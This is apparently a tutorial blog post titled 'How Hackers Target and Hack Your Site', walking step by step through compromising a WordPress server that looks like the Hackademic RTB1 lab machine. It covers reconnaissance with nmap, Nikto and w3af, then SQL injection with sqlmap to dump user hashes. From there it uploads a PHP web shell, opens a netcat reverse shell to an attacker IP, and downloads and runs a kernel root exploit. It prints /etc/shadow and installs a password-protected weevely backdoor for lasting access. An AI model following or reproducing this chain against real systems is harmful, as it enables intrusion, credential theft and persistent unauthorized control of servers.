How Hackers Target and Hack Your Site
The answer to this question may be difficult to determine, simply because there are so many ways to hack a site. Our aim in this article to show you the techniques most used by hackers in targeting and hacking your site!
Let’s suppose that this is your site: hack-test.com
Let’s ping this site to get the server IP:
Now we have 173.236.138.113 – this is the server IP where our target site is hosted.
To find other sites hosted on the same server, we will use sameip.org:
Same IP
26 sites hosted on IP Address 173.236.138.113
Twenty-six other websites are hosted on this server [173.236.138.113]. Many hackers will target all other sites on the same server in order to hack your site. But for the purpose of study, we will target your site only and put aside hacking the other sites on same server.
We’ll need more information about your site, such as:
DNS records (A, NS, TXT, MX and SOA)
Web Server Type (Apache, IIS, Tomcat)
Registrar (the company that owns your domain)
Your name, address, email and phone
Scripts that your site uses (php, asp, asp.net, jsp, cfm)
Your server OS (Unix,Linux,Windows,Solaris)
Your server open ports to internet (80, 443, 21, etc.)
Let’s start with finding your site’s DNS records. We will use the website “Who.is” to achieve this:
We have discovered that your site DNS records are:
HACK-TEST.COM DNS RECORDS
Let’s determine the web server type:
As you see, your site web server is Apache. We will determine its version later.
HACK-TEST.COM SITE INFORMATION
IP: 173.236.138.113
Website Status: active
Server Type: Apache
Alexa Trend/Rank: 
1 Month: 3,213,968 3 Month: 2,161,753
Page Views per Visit: 
1 Month: 2.0 3 Month: 3.7
Now it is time to find your Doman Registrar and your name, address, email and phone:
We have now got your registrar and other vital information about you. We can find the type of scripts on your site (the OS type, web server version) by using a cool tool in backtrack 5 R1 called Whatweb:
Now we found that your site is using a famous php script called WordPress, that your server os is Fedora Linux and that your web server version is (apache 2.2.15), let’s find open ports in your server.
To do this, we will use nmap:
1 – Find services that run on server
root@bt:/# nmap -sV hack-test.com
Starting Nmap 5.59BETA1 ( https://nmap.org ) at 2011-12-28 06:39 EET
Nmap scan report for hack-test.com (192.168.1.2)
Host is up (0.0013s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.15 ((Fedora))
MAC Address: 00:0C:29:01:8A:4D (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.56 seconds
2 – Find server OS
root@bt:/# nmap -O hack-test.com
Starting Nmap 5.59BETA1 ( https://nmap.org ) at 2011-12-28 06:40 EET
Nmap scan report for hack-test.com (192.168.1.2)
Host is up (0.00079s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
22/tcp closed ssh
80/tcp open http
MAC Address: 00:0C:29:01:8A:4D (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.22 (Fedora Core 6)
Network Distance: 1 hop
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds
Only port 80 is open and OS is Linux 2.6.22(Fedora Core 6)
Now that we have gathered all the important information about your site, let’s scan it for vulnerabilities like
Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF, and so forth.
We will use Nikto.pl to gather info, perhaps, some vulnerabilities:
root@bt:/pentest/web/nikto# perl nikto.pl -h https://hack-test.com
- Nikto v2.1.4
---------------------------------------------------------------------------
+ Target IP: 192.168.1.2
+ Target Hostname: hack-test.com
+ Target Port: 80
+ Start Time: 2011-12-29 06:50:03
---------------------------------------------------------------------------
+ Server: Apache/2.2.15 (Fedora)
+ ETag header found on server, inode: 12748, size: 1475, mtime: 0x4996d177f5c3b
+ Apache/2.2.15 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release) and 2.0.64 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 6448 items checked: 1 error(s) and 6 item(s) reported on remote host
+ End Time: 2011-12-29 06:50:37 (34 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
We will also use W3AF. You can find this tool in backtrack 5 R1
root@bt:/pentest/web/w3af# ./w3af_gui
Starting w3af, running on:
Python version:
2.6.5 (r265:79063, Apr 16 2010, 13:57:41)
[GCC 4.4.3]
GTK version: 2.20.1
PyGTK version: 2.17.0
w3af - Web Application Attack and Audit Framework
Version: 1.2
Revision: 4605
Author: Andres Riancho and the w3af team.
We will insert our site URL and choose full audit option:
After some time, the scan will finish and you will see
Your site is vulnerable to sql injection, xss and others!
Let’s investigate the sql injection vulnerability:
https://hack-test.com/Hackademic_RTB1/?cat=d%27z%220
This is the vulnerable url and cat is the vulnerable parameter.
So, let’s exploit this vulnerability:
We will find that exploitating this vuln failed, so we will use sqlmap to the job and dump all database information that we need to hack this site J
Using sqlmap with –u url
After some seconds you will see
Type n and press enter to continue
As you see your site is vulnerable to error-based sql injection and your mysql database version is 5
Let’s find all databases in your site by adding “–dbs ”
Now we found 3 databases
We will dump wordpress database tables by adding “–D wordpress –tables ”
We will find all wordpress tables
We want to dump “wp_users” table, so we will find all users (admin?) information (user is and password hash) and try to crack hash and enter wordpress control panel ( wp-admin)
We will columns of “wp_users” table by adding “-T wp_users –columns ”
We will find 22 columns
We just need to dump to columns, so we will dump (user_login and user_pass ) columns by adding
-C user_login,user_pass –dump
We will find important information; we found now users and pass hashes
but we want to crack those hashes to clear text passwords. We will use the online site “https://www.onlinehashcrack.com/free-hash-reverse.php”
And try to crack this hash 7CBB3252BA6B7E9C422FAC5334D22054
And clear text password is q1w2e3
And user name is “GeorgeMiller”
We will login with these details in “wp-admin ”
And we are in!
Ok let’s try to upload php web shell to run some linux commands on your site server J
We will edit a plugin in wordpress called “Textile ” or any plugin you found in plugins page.
And choose to edit it
We will insert php web shell instead of real plugin. After we’ve done this, we will hit “update file” and browse to our new php shell
Woo, the php shell works. Now we can manipulate your site files, but we want only to get root on your server and hack all other sites too.
We will choose “back-connect “tab from php web shell and make back connection to our ip “192.168.1.6″ on port “5555″
But before we hit connect, we first make netcat listen on port “5555″ on our attacker machine
Now hit connect and you will see:
Let’s try some linux commands
id
uid=48(apache) gid=489(apache) groups=489(apache)
pwd
/var/www/html/Hackademic_RTB1/wp-content/plugins
uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
Id command is used to show us what user id, group.
pwd command is used to show us our current path on server
uname –a command is used to show us some information about kernel version
Ok, now we knew that server kernel version is 2.6.31.5-127.fc12.1686
Let’s search in exploit-db.com for exploit to this version or newer version
We will type “kernel 2.6.31 ”
After I tried all of them on your server, none of them worked, but then I tried a new exploit
https://www.exploit-db.com/exploits/15285
I opened this url and copied this link
https://www.exploit-db.com/download/15285
And made this command on my netcat shell
wget https://www.exploit-db.com/download/15285 -O roro.c
--2011-12-28 00:48:01-- https://www.exploit-db.com/download/15285
Resolving www.exploit-db.com... 199.27.135.111, 199.27.134.111
Connecting to www.exploit-db.com|199.27.135.111|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: https://www.exploit-db.com/download/15285/ [following]
--2011-12-28 00:48:02-- https://www.exploit-db.com/download/15285/
Connecting to www.exploit-db.com|199.27.135.111|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7154 (7.0K) [application/txt]
Saving to: `roro.c'
0K ...... 100% 29.7K=0.2s
We used wget command to fetch exploit from exploit-db.com and used –O to rename it to roro.c
Note: linux kernel exploits mostly is being delopped in c language so we saved it in .c extension, just view exploit source and you will find
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/utsname.h>
#define RECVPORT 5555
#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0) {
printf(“[*] Could not open socket.\n”);
exit(-1);
}
memset(&addr, 0, sizeof(addr));
All the above lines indicate that this is exploit is written in C language
After we saved our exploit on server, we will compile it to elf format by typing
gcc roro.c –o roro
And run our exploit by typing
./roro
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xe09f0b20
[+] Resolved rds_ioctl to 0xe09db06a
[+] Resolved commit_creds to 0xc044e5f1
[+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting function pointer...
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xe09f0b20
[+] Resolved rds_ioctl to 0xe09db06a
[+] Resolved commit_creds to 0xc044e5f1
[+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
And after that we type
Id
We will find that we are root J
uid=0(root) gid=0(root)
We can now view /etc/shadow file
cat /etc/shadow
root:$6$4l1OVmLPSV28eVCT$FqycC5mozZ8mqiqgfudLsHUk7R1EMU/FXw3pOcOb39LXekt9VY6HyGkXcLEO.ab9F9t7BqTdxSJvCcy.iYlcp0:14981:0:99999:7:::
bin:*:14495:0:99999:7:::
daemon:*:14495:0:99999:7:::
adm:*:14495:0:99999:7:::
lp:*:14495:0:99999:7:::
sync:*:14495:0:99999:7:::
shutdown:*:14495:0:99999:7:::
halt:*:14495:0:99999:7:::
mail:*:14495:0:99999:7:::
uucp:*:14495:0:99999:7:::
operator:*:14495:0:99999:7:::
games:*:14495:0:99999:7:::
gopher:*:14495:0:99999:7:::
ftp:*:14495:0:99999:7:::
nobody:*:14495:0:99999:7:::
vcsa:!!:14557::::::
avahi-autoipd:!!:14557::::::
ntp:!!:14557::::::
dbus:!!:14557::::::
rtkit:!!:14557::::::
nscd:!!:14557::::::
tcpdump:!!:14557::::::
avahi:!!:14557::::::
haldaemon:!!:14557::::::
openvpn:!!:14557::::::
apache:!!:14557::::::
saslauth:!!:14557::::::
mailnull:!!:14557::::::
smmsp:!!:14557::::::
smolt:!!:14557::::::
sshd:!!:14557::::::
pulse:!!:14557::::::
gdm:!!:14557::::::
p0wnbox.Team:$6$rPArLuwe8rM9Avwv$a5coOdUCQQY7NgvTnXaFj2D5SmggRrFsr6TP8g7IATVeEt37LUGJYvHM1myhelCyPkIjd8Yv5olMnUhwbQL76/:14981:0:99999:7:::
mysql:!!:14981::::::
And view /etc/passwd file
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:499:virtual console memory owner:/dev:/sbin/nologin
avahi-autoipd:x:499:498:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rtkit:x:498:494:RealtimeKit:/proc:/sbin/nologin
nscd:x:28:493:NSCD Daemon:/:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
avahi:x:497:492:avahi-daemon:/var/run/avahi-daemon:/sbin/nologin
haldaemon:x:68:491:HAL daemon:/:/sbin/nologin
openvpn:x:496:490:OpenVPN:/etc/openvpn:/sbin/nologin
apache:x:48:489:Apache:/var/www:/sbin/nologin
saslauth:x:495:488:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
mailnull:x:47:487::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:486::/var/spool/mqueue:/sbin/nologin
smolt:x:494:485:Smolt:/usr/share/smolt:/sbin/nologin
sshd:x:74:484:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
pulse:x:493:483:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
gdm:x:42:481::/var/lib/gdm:/sbin/nologin
p0wnbox.Team:x:500:500:p0wnbox.Team:/home/p0wnbox.Team:/bin/bash
mysql:x:27:480:MySQL Server:/var/lib/mysql:/bin/bash
We can crack all users passwords with the “john the ripper” tool.
But we will not do this; we want to maintain access on this server so we can come to visit/hack it any time J
We will use weevely to a small and encoded php backdoor with the password protected and upload this php backdoor to our server.
Let’s do it
1 – weevely usage options :
root@bt:/pentest/backdoors/web/weevely# ./main.py -
Weevely 0.3 - Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: https://code.google.com/p/weevely/
Usage: main.py [options]
Options:
-h, --help show this help message and exit
-g, --generate Generate backdoor crypted code, requires -o and -p .
-o OUTPUT, --output=OUTPUT
Output filename for generated backdoor .
-c COMMAND, --command=COMMAND
Execute a single command and exit, requires -u and -p
.
-t, --terminal Start a terminal-like session, requires -u and -p .
-C CLUSTER, --cluster=CLUSTER
Start in cluster mode reading items from the give
file, in the form 'label,url,password' where label is
optional.
-p PASSWORD, --password=PASSWORD
Password of the encrypted backdoor .
-u URL, --url=URL Remote backdoor URL .
2 – Creating a php backdoor with password koko by using weevely:
root@bt:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p koko
Weevely 0.3 - Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: https://code.google.com/p/weevely/
+ Backdoor file 'hax.php' created with password 'koko'.
3 – Upload our php backdoor to server using php web shell
And after we upload it we will connect to it using
root@bt:/pentest/backdoors/web/weevely# ./main.py -t -u https://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -p koko
Weevely 0.3 - Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: https://code.google.com/p/weevely/
+ Using method 'system()'.
+ Retrieving terminal basic environment variables .
[apache@HackademicRTB1 /var/www/html/Hackademic_RTB1/wp-content/plugins]
Testing our hax.php backdoor
Conclusion:
In this article we learned some techniques that are being used by hackers to target and hack your site and your server. I hope you liked this article and enjoyed it.
In next article we will learn how we can secure your site from these attacks and more, so your website will be very secured against many hacker attacks, even advanced ones!